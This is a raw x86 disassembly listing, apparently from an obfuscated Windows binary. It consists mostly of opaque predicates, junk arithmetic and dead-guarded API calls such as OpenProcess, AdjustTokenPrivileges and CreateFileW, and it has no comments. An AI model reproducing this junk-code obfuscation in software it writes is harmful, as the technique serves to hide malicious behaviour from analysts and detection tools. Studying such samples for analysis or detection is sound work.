cmp dword [ebp - 0x21a0], 0
je 0x47f18c
jmp 0x47f18e
jmp 0x47f16b
jmp 0x47f148
mov dword [ebp - 0xc], 0
jmp 0x47f1a0
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x47f42f
mov dword [ebp - 0x21a8], 1
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
mov dword [ebp - 0x1464], eax
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
mov ecx, dword [ebp - 0x1464]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1464]
mov eax, dword [eax]
mov dword [ebp - 0x21a8], eax
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
mov esi, eax
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
mov ecx, dword [esi]
add ecx, dword [eax]
je 0x47f36e
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
cmp dword [eax], 0
je 0x47f308
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
mov eax, dword [eax]
mov dword [ebp - 0x146c], eax
mov esi, dword [ebp - 0x146c]
sub esi, dword [ebp - 0x6f8]
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
sub esi, dword [eax]
jne 0x47f27d
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
cmp dword [eax], 0
jne 0x47f27d
and dword [ebp - 0x1474], 0
jmp 0x47f287
mov dword [ebp - 0x1474], 1
cmp dword [ebp - 0x1474], 0xffff
jb 0x47f29f
mov dword [ebp - 0x147c], 1
jmp 0x47f2a6
and dword [ebp - 0x147c], 0
imul eax, dword [ebp - 0x147c], 0xd22
mov dword [ebp - 0x1484], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1484]
mov dword [ebp + eax - 0x33a4], ecx
imul eax, dword [ebp - 0x1484], 0xfffffff7
mov dword [ebp - 0x148c], eax
mov eax, dword [ebp - 0x148c]
add eax, dword [ebp - 0x6f8]
cmp eax, dword [ebp - 0x6f0]
jle 0x47f308
push 0
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
cmp dword [eax], 0
je 0x47f308
mov dword [ebp - 0x1494], 1
jmp 0x47f30f
and dword [ebp - 0x1494], 0
mov eax, dword [ebp - 0x448]
cmp dword [ebp - 0x1494], eax
jge 0x47f329
mov dword [ebp - 0x149c], 1
jmp 0x47f330
and dword [ebp - 0x149c], 0
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
mov ecx, dword [ebp - 0x6f0]
imul ecx, dword [ebp - 0x149c]
cmp dword [eax], ecx
jne 0x47f36e
push dword [ebp - 0xc]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
cmp dword [eax], 0
je 0x47f36e
mov dword [ebp - 0x14a4], 1
jmp 0x47f375
and dword [ebp - 0x14a4], 0
mov eax, dword [ebp - 0x6f0]
cmp dword [ebp - 0x14a4], eax
jne 0x47f38f
mov dword [ebp - 0x14ac], 1
jmp 0x47f396
and dword [ebp - 0x14ac], 0
push 0
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
mov ecx, dword [ebp - 0x14ac]
cmp ecx, dword [eax]
jg 0x47f3c9
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x33a4], 0
je 0x47f3c9
mov dword [ebp - 0x14b4], 1
jmp 0x47f3d0
and dword [ebp - 0x14b4], 0
mov eax, dword [ebp - 0x14b4]
sub eax, 0x2856065d
cmp eax, dword [ebp - 0x6f8]
jg 0x47f3ef
mov dword [ebp - 0x14bc], 1
jmp 0x47f3f6
and dword [ebp - 0x14bc], 0
mov eax, dword [ebp - 0x6f0]
cmp dword [ebp - 0x14bc], eax
jne 0x47f410
mov dword [ebp - 0x14c4], 1
jmp 0x47f417
and dword [ebp - 0x14c4], 0
mov eax, dword [ebp - 0x6f8]
imul eax, dword [ebp - 0x14c4]
mov dword [ebp - 0x21b0], eax
jmp 0x47f199
jmp 0x47f111
lea ecx, [ebp - 0x4c8]
call fcn.00430203
mov dword [ebp - 0xa0], 1
mov dword [ebp - 0x21c0], 0xfd52
mov dword [ebp - 0x21c8], 0xfffffff6
mov dword [ebp - 0xa0], 0
jmp 0x47f476
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x1b
jg 0x47f4a5
mov byte [ebp - 0x3d1], 0
movzx eax, byte [ebp - 0x3d1]
test eax, eax
je 0x47f4a3
push 0x1d8a
push 1
push 0x2520
call dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x47f469
cmp dword [ebp - 0xa0], 0
jne 0x47f5ac
cmp dword [ebp - 0xa0], 0
jne 0x47f4c7
mov dword [ebp - 0x14ec], 1
jmp 0x47f4ce
and dword [ebp - 0x14ec], 0
cmp dword [ebp - 0xa0], 1
jg 0x47f4e3
mov dword [ebp - 0x14cc], 1
jmp 0x47f4ea
and dword [ebp - 0x14cc], 0
cmp dword [ebp - 0x14cc], 0xffffffff
ja 0x47f4ff
mov dword [ebp - 0x14d4], 1
jmp 0x47f506
and dword [ebp - 0x14d4], 0
cmp dword [ebp - 0x14d4], 0x37bb
jne 0x47f51e
mov dword [ebp - 0x14dc], 1
jmp 0x47f525
and dword [ebp - 0x14dc], 0
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0x14dc], eax
jl 0x47f53f
mov dword [ebp - 0x14e4], 1
jmp 0x47f546
and dword [ebp - 0x14e4], 0
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x14e4]
je 0x47f560
mov dword [ebp - 0x21b8], 1
jmp 0x47f567
and dword [ebp - 0x21b8], 0
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x2db8], eax
cmp dword [ebp - 0xa0], 0xffff
jne 0x47f58b
mov dword [ebp - 0x14f4], 1
jmp 0x47f592
and dword [ebp - 0x14f4], 0
mov eax, dword [ebp - 0x14ec]
cmp eax, dword [ebp - 0x14f4]
je 0x47f5ac
mov dword [ebp - 0x14fc], 1
jmp 0x47f5b3
and dword [ebp - 0x14fc], 0
mov eax, dword [ebp - 0x21c0]
add eax, dword [ebp - 0x14fc]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x21c8], eax
mov dword [ebp - 0x468], 0x33c6
mov dword [ebp - 0x258], 0x7cb3f4f4
mov dword [ebp - 0x21d0], 0x6729694d
mov dword [ebp - 0x700], 0
jmp 0x47f608
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 3
jge 0x47f624
mov eax, dword [ebp - 0x700]
mov dword [ebp + eax*4 - 0x267c], 0xffffffff
jmp 0x47f5fb
mov dword [ebp - 0x258], 0
jmp 0x47f63d
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 3
jge 0x47f659
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0x267c], 0xb5052061
jmp 0x47f630
mov eax, dword [ebp - 0x258]
sub eax, 0x37a9a971
mov dword [ebp - 0x258], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x267c]
cmp dword [ebp - 0x258], eax
jle 0x47f68a
mov dword [ebp - 0x150c], 1
jmp 0x47f691
and dword [ebp - 0x150c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x267c]
mov dword [ebp - 0x3044], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x267c], 0xe76a
jne 0x47f6c3
mov dword [ebp - 0x1504], 1
jmp 0x47f6ca
and dword [ebp - 0x1504], 0
imul eax, dword [ebp - 0x1504], 0xee5a
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x267c]
jg 0x47f6f8
mov eax, 0xdb959c45
test eax, eax
je 0x47f6f8
mov dword [ebp - 0x1514], 1
jmp 0x47f6ff
and dword [ebp - 0x1514], 0
mov eax, dword [ebp - 0x150c]
sub eax, dword [ebp - 0x1514]
cmp eax, 0x2278213
jge 0x47f71e
mov dword [ebp - 0x151c], 1
jmp 0x47f725
and dword [ebp - 0x151c], 0
cmp dword [ebp - 0x151c], 3
je 0x47f73a
mov dword [ebp - 0x1524], 1
jmp 0x47f741
and dword [ebp - 0x1524], 0
mov eax, dword [ebp - 0x1524]
mov dword [ebp - 0x21d0], eax
mov dword [ebp - 0xaa8], 0x52eaa29c
mov dword [ebp - 0x598], 0xffffffff
push 4
lea ecx, [ebp - 0x2804]
call fcn.00430131
mov dword [ebp - 0x21e0], 0x796d
mov dword [ebp - 0x156c], 0xcf9e8bfa
mov dword [ebp - 0x708], 0
jmp 0x47f79b
mov eax, dword [ebp - 0x708]
inc eax
mov dword [ebp - 0x708], eax
cmp dword [ebp - 0x708], 4
jge 0x47f7bd
push dword [ebp - 0x708]
lea ecx, [ebp - 0x2804]
call fcn.0043021f
mov dword [eax], 0xfffe
jmp 0x47f78e
mov dword [ebp - 0x598], 0xfffffffe
jmp 0x47f7d6
mov eax, dword [ebp - 0x598]
dec eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 0xffffffea
jg 0x47faff
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x1564], 0x9a7e1289
mov dword [ebp - 0x24], 0
jmp 0x47f804
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jg 0x47f9b1
mov dword [ebp - 0x710], 0
jmp 0x47f827
mov eax, dword [ebp - 0x710]
inc eax
mov dword [ebp - 0x710], eax
cmp dword [ebp - 0x710], 1
jge 0x47f843
mov eax, dword [ebp - 0x710]
mov dword [ebp + eax*4 - 0xb94], 6
jmp 0x47f81a
push dword [ebp - 0x24]
lea ecx, [ebp - 0x2804]
call fcn.0043021f
cmp dword [eax], 0
je 0x47f85b
jmp 0x47f9b1
cmp dword [ebp - 0x24], 1
je 0x47f86a
mov eax, 0x3d21
test eax, eax
jne 0x47f87c
mov eax, 0xfd03
test eax, eax
jne 0x47f87c
and dword [ebp - 0x152c], 0
jmp 0x47f886
mov dword [ebp - 0x152c], 1
mov eax, dword [ebp - 0x152c]
sub eax, dword [ebp - 0x24]
je 0x47f8ad
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb94], 0
je 0x47f8ad
mov dword [ebp - 0x1534], 1
jmp 0x47f8b4
and dword [ebp - 0x1534], 0
mov eax, dword [ebp - 0x1534]
sub eax, 0x4595a2e6
cmp eax, dword [ebp - 0x24]
jl 0x47f8d0
mov dword [ebp - 0x153c], 1
jmp 0x47f8d7
and dword [ebp - 0x153c], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x153c], eax
jg 0x47f8ee
mov dword [ebp - 0x21d8], 1
jmp 0x47f8f5
and dword [ebp - 0x21d8], 0
mov eax, dword [ebp - 0x598]
mov dword [ebp - 0x2dc0], eax
push dword [ebp - 0x24]
lea ecx, [ebp - 0x2804]
call fcn.0043021f
mov dword [eax], 0x3de0
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0xb94], 0x3de0
cmp eax, 0x79b347d1
je 0x47f939
mov dword [ebp - 0x1544], 1
jmp 0x47f940
and dword [ebp - 0x1544], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1544], eax
jg 0x47f957
mov dword [ebp - 0x154c], 1
jmp 0x47f95e
and dword [ebp - 0x154c], 0
cmp dword [ebp - 0x154c], 7
jle 0x47f973
mov dword [ebp - 0x1554], 1
jmp 0x47f97a
and dword [ebp - 0x1554], 0
cmp dword [ebp - 0x1554], 0xef874acc
jae 0x47f992
mov dword [ebp - 0x155c], 1
jmp 0x47f999
and dword [ebp - 0x155c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x155c]
mov dword [ebp + eax - 0xb94], ecx
jmp 0x47f7fd
mov dword [ebp - 0x24], 0
jmp 0x47f9c1
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jle 0x47fafa
push 3
lea ecx, [ebp - 0x268c]
call fcn.00430131
mov dword [ebp - 0x21e8], 0xffffffff
mov dword [ebp - 0x718], 0
jmp 0x47f9fb
mov eax, dword [ebp - 0x718]
inc eax
mov dword [ebp - 0x718], eax
cmp dword [ebp - 0x718], 3
jge 0x47fa1d
push dword [ebp - 0x718]
lea ecx, [ebp - 0x268c]
call fcn.0043021f
mov dword [eax], 0xd06de21e
jmp 0x47f9ee
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1564], eax
mov eax, dword [ebp - 0x156c]
cmp dword [ebp - 0x1564], eax
jl 0x47fa40
mov dword [ebp - 0x1574], 1
jmp 0x47fa47
and dword [ebp - 0x1574], 0
cmp dword [ebp - 0x156c], 0
jne 0x47fa59
cmp dword [ebp - 0x21e0], 0
je 0x47fa6b
cmp dword [ebp - 0x24], 0
je 0x47fa6b
mov dword [ebp - 0x157c], 1
jmp 0x47fa72
and dword [ebp - 0x157c], 0
mov eax, dword [ebp - 0x1574]
cmp eax, dword [ebp - 0x157c]
jne 0x47fa8c
mov dword [ebp - 0x1584], 1
jmp 0x47fa93
and dword [ebp - 0x1584], 0
push 0
lea ecx, [ebp - 0x268c]
call fcn.0043021f
mov ecx, dword [ebp - 0x1584]
cmp ecx, dword [eax]
jg 0x47fac8
push 2
lea ecx, [ebp - 0x268c]
call fcn.0043021f
cmp dword [eax], 0
je 0x47fac8
mov dword [ebp - 0x158c], 1
jmp 0x47facf
and dword [ebp - 0x158c], 0
mov esi, dword [ebp - 0x158c]
sub esi, dword [ebp - 0x21e8]
push 0
lea ecx, [ebp - 0x268c]
call fcn.0043021f
mov dword [eax], esi
lea ecx, [ebp - 0x268c]
call fcn.00430203
jmp 0x47f9ba
jmp 0x47f7c9
lea ecx, [ebp - 0x2804]
call fcn.00430203
mov dword [ebp - 0x394], 0x6efa42b4
mov dword [ebp - 0x5a0], 0x4cd45360
mov dword [ebp - 0x190], 0
jmp 0x47fb37
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 2
jge 0x47fb53
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x3598], 0xfffffff9
jmp 0x47fb2a
mov dword [ebp - 0x190], 0
jmp 0x47fb6c
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 2
jge 0x47fb88
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x2c3c], 0xfffffffa
jmp 0x47fb5f
mov dword [ebp - 0x5a0], 1
jmp 0x47fba1
mov eax, dword [ebp - 0x5a0]
dec eax
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 0
jl 0x47fcda
push 2
lea ecx, [ebp - 0x2adc]
call fcn.00430131
mov dword [ebp - 0x720], 0
jmp 0x47fbd4
mov eax, dword [ebp - 0x720]
inc eax
mov dword [ebp - 0x720], eax
cmp dword [ebp - 0x720], 2
jge 0x47fbf6
push dword [ebp - 0x720]
lea ecx, [ebp - 0x2adc]
call fcn.0043021f
mov dword [eax], 0xe456
jmp 0x47fbc7
cmp dword [ebp - 0x5a0], 0
je 0x47fc67
mov dword [ebp - 0x21f0], 0xd3f7bf4
cmp dword [ebp - 0x21f0], 0x443e
jge 0x47fc21
mov dword [ebp - 0x1594], 1
jmp 0x47fc28
and dword [ebp - 0x1594], 0
push 0
lea ecx, [ebp - 0x2adc]
call fcn.0043021f
mov ecx, dword [ebp - 0x1594]
cmp ecx, dword [eax]
jl 0x47fc4b
mov dword [ebp - 0x159c], 1
jmp 0x47fc52
and dword [ebp - 0x159c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x159c]
mov dword [ebp + eax - 0x2c3c], ecx
jmp 0x47fcb0
mov byte [ebp - 0x36d], 0
movzx eax, byte [ebp - 0x36d]
test eax, eax
je 0x47fc8a
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov byte [ebp - 0x3d3], 0
movzx eax, byte [ebp - 0x3d3]
test eax, eax
je 0x47fcb0
push 0
push 0x578
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov byte [ebp - 0x375], 0
movzx eax, byte [ebp - 0x375]
test eax, eax
je 0x47fcca
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x2adc]
call fcn.00430203
jmp 0x47fb94
mov byte [ebp - 0x3d5], 0
movzx eax, byte [ebp - 0x3d5]
test eax, eax
je 0x47fd01
push 0
push 0
push 0x1c15
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 3
lea ecx, [ebp - 0x2a64]
call fcn.00430131
mov dword [ebp - 0x730], 0x3342eb9
mov dword [ebp - 0x21f8], 8
mov dword [ebp - 0x32c0], 0x8d9ba5f2
mov dword [ebp - 0x2dc8], 1
mov dword [ebp - 0x304c], 3
mov dword [ebp - 0x2dd0], 0
mov dword [ebp - 0x3240], 0
mov dword [ebp - 0x28c4], 0x62c4df8e
mov dword [ebp - 0x28c0], 0x62c4df8e
mov dword [ebp - 0x28bc], 0x62c4df8e
mov dword [ebp - 0x28b8], 0x62c4df8e
lea ecx, [ebp - 0xb55]
call fcn.0043022e
push eax
lea eax, [ebp - 0x28b4]
push eax
lea eax, [ebp - 0x28c4]
push eax
lea ecx, [ebp - 0x34d0]
call fcn.00430231
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3410]
call fcn.004301dd
mov dword [ebp - 0x728], 0
jmp 0x47fdca
mov eax, dword [ebp - 0x728]
inc eax
mov dword [ebp - 0x728], eax
cmp dword [ebp - 0x728], 1
jge 0x47fde6
mov eax, dword [ebp - 0x728]
mov dword [ebp + eax*4 - 0x15ac], 0
jmp 0x47fdbd
mov dword [ebp - 0x730], 0
jmp 0x47fdff
mov eax, dword [ebp - 0x730]
inc eax
mov dword [ebp - 0x730], eax
cmp dword [ebp - 0x730], 0x1b
jne 0x47ff9c
mov dword [ebp - 0x450], 5
push 2
lea ecx, [ebp - 0x31c4]
call fcn.00430131
mov dword [ebp - 0x15d4], 0x1f6ed734
mov dword [ebp - 0x738], 0
jmp 0x47fe46
mov eax, dword [ebp - 0x738]
inc eax
mov dword [ebp - 0x738], eax
cmp dword [ebp - 0x738], 2
jge 0x47fe68
push dword [ebp - 0x738]
lea ecx, [ebp - 0x31c4]
call fcn.0043021f
mov dword [eax], 0xfffffff7
jmp 0x47fe39
mov dword [ebp - 0x450], 0
jmp 0x47fe81
mov eax, dword [ebp - 0x450]
inc eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 0x16
jne 0x47ff7f
mov dword [ebp - 0x15b4], 3
mov dword [ebp - 0x2200], 0xc7ab89bd
mov byte [ebp - 0x37d], 0
movzx eax, byte [ebp - 0x37d]
test eax, eax
je 0x47fec4
push 0x19e4
push 0x1da6
call dword [sym.imp.KERNEL32.dll_Beep]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x15ac], 1
je 0x47fee0
mov dword [ebp - 0x15a4], 1
jmp 0x47fee7
and dword [ebp - 0x15a4], 0
mov eax, dword [ebp - 0x450]
cmp dword [ebp - 0x15a4], eax
jg 0x47ff01
mov dword [ebp - 0x15c4], 1
jmp 0x47ff08
and dword [ebp - 0x15c4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x21f8]
cmp dword [ebp + eax - 0x15ac], ecx
jge 0x47ff29
mov dword [ebp - 0x15bc], 1
jmp 0x47ff30
and dword [ebp - 0x15bc], 0
mov dword [ebp - 0x15b4], 0xfffffff6
mov eax, dword [ebp - 0x15b4]
mov ecx, dword [ebp - 0x15bc]
mov edx, dword [ebp - 0x15c4]
lea ecx, [edx + ecx + 2]
add eax, ecx
jne 0x47ff60
mov dword [ebp - 0x15cc], 1
jmp 0x47ff67
and dword [ebp - 0x15cc], 0
mov eax, dword [ebp - 0x450]
imul eax, dword [ebp - 0x15cc]
mov dword [ebp - 0x2200], eax
jmp 0x47fe74
mov eax, dword [ebp - 0x15d4]
inc eax
mov dword [ebp - 0x15d4], eax
lea ecx, [ebp - 0x31c4]
call fcn.00430203
jmp 0x47fdf2
lea ecx, [ebp - 0x3410]
call fcn.00430203
push 2
lea ecx, [ebp - 0x29f8]
call fcn.00430131
mov dword [ebp - 0x5b0], 0x8c45cdbe
mov dword [ebp - 0x15dc], 0xfffffff6
mov dword [ebp - 0x740], 0
jmp 0x47ffe1
mov eax, dword [ebp - 0x740]
inc eax
mov dword [ebp - 0x740], eax
cmp dword [ebp - 0x740], 2
jge 0x480003
push dword [ebp - 0x740]
lea ecx, [ebp - 0x29f8]
call fcn.0043021f
mov dword [eax], 8
jmp 0x47ffd4
mov dword [ebp - 0x5b0], 0
jmp 0x48001c
mov eax, dword [ebp - 0x5b0]
inc eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 1
jg 0x4800a0
mov dword [ebp - 0x5a8], 0x210b999f
mov dword [ebp - 0x5a8], 0
jmp 0x480048
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 1
jg 0x48006c
push dword [ebp - 0x5a8]
lea ecx, [ebp - 0x29f8]
call fcn.0043021f
mov eax, dword [eax]
mov dword [ebp - 0x15dc], eax
jmp 0x48003b
mov byte [ebp - 0x3d7], 0
movzx eax, byte [ebp - 0x3d7]
test eax, eax
je 0x48009b
push 0
push 0xfff
push 0x50
push 0
push 0x2667
push 0xcc5
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x48000f
cmp dword [ebp - 0x15dc], 0xffffffff
jl 0x4800b5
mov dword [ebp - 0x15e4], 1
jmp 0x4800bc
and dword [ebp - 0x15e4], 0
mov eax, dword [ebp - 0x15e4]
mov dword [ebp - 0x5b0], eax
lea ecx, [ebp - 0x29f8]
call fcn.00430203
mov dword [ebp - 0xaa0], 0xd635
mov dword [ebp - 0x1744], 0
mov dword [ebp - 0x384], 0xe713a473
mov dword [ebp - 0x2dd8], 0xd3e99730
mov dword [ebp - 0x3054], 0x4f77722a
mov dword [ebp - 0x748], 0
jmp 0x48011e
mov eax, dword [ebp - 0x748]
inc eax
mov dword [ebp - 0x748], eax
cmp dword [ebp - 0x748], 2
jge 0x48013a
mov eax, dword [ebp - 0x748]
mov dword [ebp + eax*4 - 0x2c48], 0x56834504
jmp 0x480111
mov byte [ebp - 0x385], 0
movzx eax, byte [ebp - 0x385]
test eax, eax
je 0x480169
push 0x1d09
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
mov dword [ebp - 0x384], 0
jmp 0x480182
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 1
jg 0x480338
mov dword [ebp - 0x750], 0xffffffff
mov dword [ebp - 0x5c0], 0xfe81720d
mov dword [ebp - 0x750], 1
jmp 0x4801bc
mov eax, dword [ebp - 0x750]
dec eax
mov dword [ebp - 0x750], eax
cmp dword [ebp - 0x750], 0
jl 0x480333
mov dword [ebp - 0x458], 0xffffffff
mov dword [ebp - 0x2de0], 0xbae8b012
mov dword [ebp - 0x3328], 1
mov dword [ebp - 0x458], 1
jmp 0x480200
cmp dword [ebp - 0x458], 0
jl 0x48032e
mov dword [ebp - 0x5b8], 0xffffffff
mov eax, dword [ebp - 0x458]
cmp dword [ebp + eax*4 - 0x2c48], 0
jne 0x48027e
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0x2de8], eax
mov eax, 0xb474
cmp eax, 0x7bb7
jge 0x48024b
mov dword [ebp - 0x15ec], 1
jmp 0x480252
and dword [ebp - 0x15ec], 0
mov eax, dword [ebp - 0x15ec]
sub eax, dword [ebp - 0x5b8]
cmp eax, 0x31615e82
jge 0x480271
mov eax, dword [ebp - 0x384]
cmp dword [ebp - 0x384], eax
jl 0x4802ac
mov byte [ebp - 0x3d9], 0
movzx eax, byte [ebp - 0x3d9]
test eax, eax
je 0x4802aa
mov dword [ebp - 0x5c0], 1
mov dword [ebp - 0x5b8], 0
jmp 0x4802cf
jmp 0x4801af
jmp 0x480175
mov dword [ebp - 0x460], 0x33c6
mov dword [ebp - 0xa90], 0x52eaa29c
mov dword [ebp - 0x38c], 0x6efa42b4
push 3
lea ecx, [ebp - 0x2b54]
call fcn.00430131
mov dword [ebp - 0xa8c], 0xd635
mov dword [ebp - 0x1664], 0
mov dword [ebp - 0x44], 0
jmp 0x480387
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 3
jge 0x4803a3
push dword [ebp - 0x44]
lea ecx, [ebp - 0x2b54]
call fcn.0043021f
mov dword [eax], 0x2abbf9ac
jmp 0x480380
mov dword [ebp - 0x44], 0
jmp 0x4803b3
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 2
jge 0x4803c9
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x20b8], 1
jmp 0x4803ac
mov dword [ebp - 0x44], 0
jmp 0x4803d9
cmp dword [ebp - 0x44], 2
jge 0x4803ef
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x2c54], 0xfffffff8
jmp 0x4803d2
mov eax, dword [ebp - 0x460]
mov dword [ebp - 0x3248], eax
cmp dword [ebp - 0x1664], 0
je 0x480419
mov dword [ebp - 0x64], 4
mov dword [ebp - 0xf30], 0xf9132f4b
mov dword [ebp - 0xf18], 0xfffffffa
mov dword [ebp - 0xb28], 0
mov dword [ebp - 0xf48], 0xd4f95201
cmp dword [ebp - 0x64], 0
je 0x4849a8
mov dword [ebp - 0x23c4], 0xfe01bd97
push 4
lea ecx, [ebp - 0xc74]
call fcn.00430131
mov dword [ebp - 0x850], 0
jmp 0x48464e
mov eax, dword [ebp - 0x850]
inc eax
mov dword [ebp - 0x850], eax
cmp dword [ebp - 0x850], 4
jge 0x48466d
push dword [ebp - 0x850]
lea ecx, [ebp - 0xc74]
call fcn.0043021f
or dword [eax], 0xffffffff
jmp 0x484641
mov esi, dword [ebp - 0x23c4]
push 1
lea ecx, [ebp - 0xc74]
call fcn.0043021f
mov dword [eax], esi
push 1
lea ecx, [ebp - 0xc74]
call fcn.0043021f
cmp dword [eax], 0
je 0x4846c5
mov dword [ebp - 0x64], 0
jmp 0x4846a4
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jg 0x4846c0
push dword [ebp - 0x64]
lea ecx, [ebp - 0xc74]
call fcn.0043021f
mov dword [eax], 8
jmp 0x48469d
jmp 0x484998
mov dword [ebp - 0x860], 0xe3bc4aee
mov dword [ebp - 0xb18], 0x3758
mov dword [ebp - 0x858], 0
jmp 0x4846f2
mov eax, dword [ebp - 0x858]
inc eax
mov dword [ebp - 0x858], eax
cmp dword [ebp - 0x858], 4
jge 0x48470e
mov eax, dword [ebp - 0x858]
mov dword [ebp + eax*4 - 0x34e0], 0
jmp 0x4846e5
cmp dword [ebp - 0x64], 0
je 0x48472a
mov dword [ebp - 0x23cc], 0xffff
mov dword [ebp - 0x23cc], 0
jmp 0x484758
mov byte [ebp - 0x294], 0
movzx eax, byte [ebp - 0x294]
test eax, eax
je 0x484758
push 0xf50
push 0x231
push 0x68d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
cmp dword [ebp - 0x860], 0
jne 0x484769
xor eax, eax
je 0x484830
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x2f00], eax
mov eax, 0x9ed7
cmp eax, 0xbf84
jne 0x48478a
mov dword [ebp - 0xeb0], 1
jmp 0x484791
and dword [ebp - 0xeb0], 0
push 1
lea ecx, [ebp - 0xc74]
call fcn.0043021f
mov ecx, dword [ebp - 0xeb0]
cmp ecx, dword [eax]
jge 0x4847b4
mov dword [ebp - 0xeb8], 1
jmp 0x4847bb
and dword [ebp - 0xeb8], 0
cmp dword [ebp - 0xeb8], 1
jge 0x4847d0
mov dword [ebp - 0xec0], 1
jmp 0x4847d7
and dword [ebp - 0xec0], 0
push 3
lea ecx, [ebp - 0xc74]
call fcn.0043021f
mov ecx, dword [ebp - 0xec0]
imul ecx, dword [eax]
test ecx, ecx
jne 0x484803
cmp dword [ebp - 0x860], 0
jne 0x484803
and dword [ebp - 0xec8], 0
jmp 0x48480d
mov dword [ebp - 0xec8], 1
push 3
lea ecx, [ebp - 0xc74]
call fcn.0043021f
mov ecx, dword [ebp - 0xec8]
cmp ecx, dword [eax]
jl 0x484830
mov dword [ebp - 0xed0], 1
jmp 0x484837
and dword [ebp - 0xed0], 0
imul eax, dword [ebp - 0xed0], 0
test eax, eax
je 0x484857
cmp dword [ebp - 0x860], 0
je 0x484857
mov dword [ebp - 0xed8], 1
jmp 0x48485e
and dword [ebp - 0xed8], 0
mov eax, dword [ebp - 0xb18]
cmp dword [ebp - 0xed8], eax
jg 0x484878
mov dword [ebp - 0xee0], 1
jmp 0x48487f
